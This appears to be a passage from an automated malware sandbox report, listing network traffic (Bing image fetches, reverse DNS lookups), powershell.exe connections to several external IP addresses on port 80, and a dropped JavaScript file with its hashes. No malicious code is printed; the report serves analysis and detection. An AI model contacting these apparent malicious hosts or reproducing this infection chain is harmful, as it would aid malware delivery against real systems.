    https://tse1.mm.bing.net/th?id=OADD2.10239317301534_15LL3F24A66A7QZTI&pid=21.2&w=1080&h=1920&c=4
    Remote address:
    204.79.197.200:443
    Request
    GET /th?id=OADD2.10239317301534_15LL3F24A66A7QZTI&pid=21.2&w=1080&h=1920&c=4 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 314827
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 9CEE5D9714E74071945874F7E33551EA Ref B: BRU30EDGE0817 Ref C: 2023-10-14T03:58:54Z
    date: Sat, 14 Oct 2023 03:58:53 GMT
  • flag-us
    GET
    https://tse1.mm.bing.net/th?id=OADD2.10239317301458_1O5GXDV85M53L16NQ&pid=21.2&w=1080&h=1920&c=4
    Remote address:
    204.79.197.200:443
    Request
    GET /th?id=OADD2.10239317301458_1O5GXDV85M53L16NQ&pid=21.2&w=1080&h=1920&c=4 HTTP/2.0
    host: tse1.mm.bing.net
    accept: */*
    accept-encoding: gzip, deflate, br
    user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
    Response
    HTTP/2.0 200
    cache-control: public, max-age=2592000
    content-length: 416984
    content-type: image/jpeg
    x-cache: TCP_HIT
    access-control-allow-origin: *
    access-control-allow-headers: *
    access-control-allow-methods: GET, POST, OPTIONS
    timing-allow-origin: *
    report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth"}]}
    nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0}
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: A1EABE8B8530425DA3F868F84488C218 Ref B: BRU30EDGE0817 Ref C: 2023-10-14T03:58:54Z
    date: Sat, 14 Oct 2023 03:58:54 GMT
  • flag-us
    DNS
    88.156.103.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    88.156.103.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    1.202.248.87.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    1.202.248.87.in-addr.arpa
    IN PTR
    Response
    1.202.248.87.in-addr.arpa
    IN PTR
    https-87-248-202-1amsllnwnet
  • flag-us
    DNS
    22.236.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    22.236.111.52.in-addr.arpa
    IN PTR
    Response
  • 45.133.125.118:80
    powershell.exe
    260 B
     5
  • 204.79.197.200:443
    https://tse1.mm.bing.net/th?id=OADD2.10239317301458_1O5GXDV85M53L16NQ&pid=21.2&w=1080&h=1920&c=4
    tls, http2
    72.9kB
     2.1MB
     1528
    1525

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239317301472_1VUKM758MEAZ9E285&pid=21.2&w=1080&h=1920&c=4

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239317301025_159EZPKLFPK71SUGC&pid=21.2&w=1920&h=1080&c=4

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239317301101_17QUECVB8G2ENL5IH&pid=21.2&w=1920&h=1080&c=4

    HTTP Response

    200

    HTTP Response

    200

    HTTP Response

    200

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239317301039_13Z9BFIH4MFB25MGU&pid=21.2&w=1920&h=1080&c=4

    HTTP Response

    200

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239317301534_15LL3F24A66A7QZTI&pid=21.2&w=1080&h=1920&c=4

    HTTP Response

    200

    HTTP Request

    GET https://tse1.mm.bing.net/th?id=OADD2.10239317301458_1O5GXDV85M53L16NQ&pid=21.2&w=1080&h=1920&c=4

    HTTP Response

    200
  • 204.79.197.200:443
    tse1.mm.bing.net
    tls, http2
    1.2kB
     8.3kB
     16
    14
  • 90.186.51.43:80
    powershell.exe
    260 B
     5
  • 192.121.17.92:80
    powershell.exe
    260 B
     200 B
     5
    5
  • 192.121.17.68:80
    powershell.exe
    260 B
     5
  • 151.236.14.179:80
    powershell.exe
    260 B
     5
  • 8.8.8.8:53
    2.136.104.51.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    2.136.104.51.in-addr.arpa

  • 8.8.8.8:53
    17.160.190.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    17.160.190.20.in-addr.arpa

  • 8.8.8.8:53
    95.221.229.192.in-addr.arpa
    dns
    73 B
     144 B
     1
    1

    DNS Request

    95.221.229.192.in-addr.arpa

  • 8.8.8.8:53
    26.35.223.20.in-addr.arpa
    dns
    71 B
     157 B
     1
    1

    DNS Request

    26.35.223.20.in-addr.arpa

  • 8.8.8.8:53
    158.240.127.40.in-addr.arpa
    dns
    73 B
     147 B
     1
    1

    DNS Request

    158.240.127.40.in-addr.arpa

  • 8.8.8.8:53
    50.23.12.20.in-addr.arpa
    dns
    70 B
     156 B
     1
    1

    DNS Request

    50.23.12.20.in-addr.arpa

  • 8.8.8.8:53
    206.23.85.13.in-addr.arpa
    dns
    71 B
     145 B
     1
    1

    DNS Request

    206.23.85.13.in-addr.arpa

  • 8.8.8.8:53
    tse1.mm.bing.net
    dns
    62 B
     173 B
     1
    1

    DNS Request

    tse1.mm.bing.net

    DNS Response

    204.79.197.200
    13.107.21.200

  • 8.8.8.8:53
    88.156.103.20.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    88.156.103.20.in-addr.arpa

  • 8.8.8.8:53
    1.202.248.87.in-addr.arpa
    dns
    71 B
     116 B
     1
    1

    DNS Request

    1.202.248.87.in-addr.arpa

  • 8.8.8.8:53
    22.236.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    22.236.111.52.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\LanierIndifference.js
    Filesize

    195KB

    MD5

    14b73cdada934945bc57b7fccb4f5f74

    SHA1

    fb6d32a46005109291311cc10290c1cc2c4079cd

    SHA256

    4ecdf46b778a50a3e8b35bd5d6c24b73e256534bb0be11394b0bdf362ada6db7

    SHA512

    150b9acea13f0a1a92cb0d72b906b70eabbdf465cdad402eb732ddab22689f1e2eef07f99d564b1b811baa4a39b74ac4f0ddb5fc9028b84140a6155bc9c52317

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sg22xbbl.ipp.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/2056-8-0x0000027778530000-0x0000027778552000-memory.dmp

    Filesize

    136KB

    Download

  • memory/2056-12-0x00007FFA75C40000-0x00007FFA76701000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2056-13-0x0000027778560000-0x0000027778570000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2056-14-0x0000027778560000-0x0000027778570000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2056-15-0x00007FFA75C40000-0x00007FFA76701000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2056-16-0x0000027778560000-0x0000027778570000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2056-17-0x0000027778560000-0x0000027778570000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2056-20-0x00007FFA75C40000-0x00007FFA76701000-memory.dmp

    Filesize

    10.8MB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.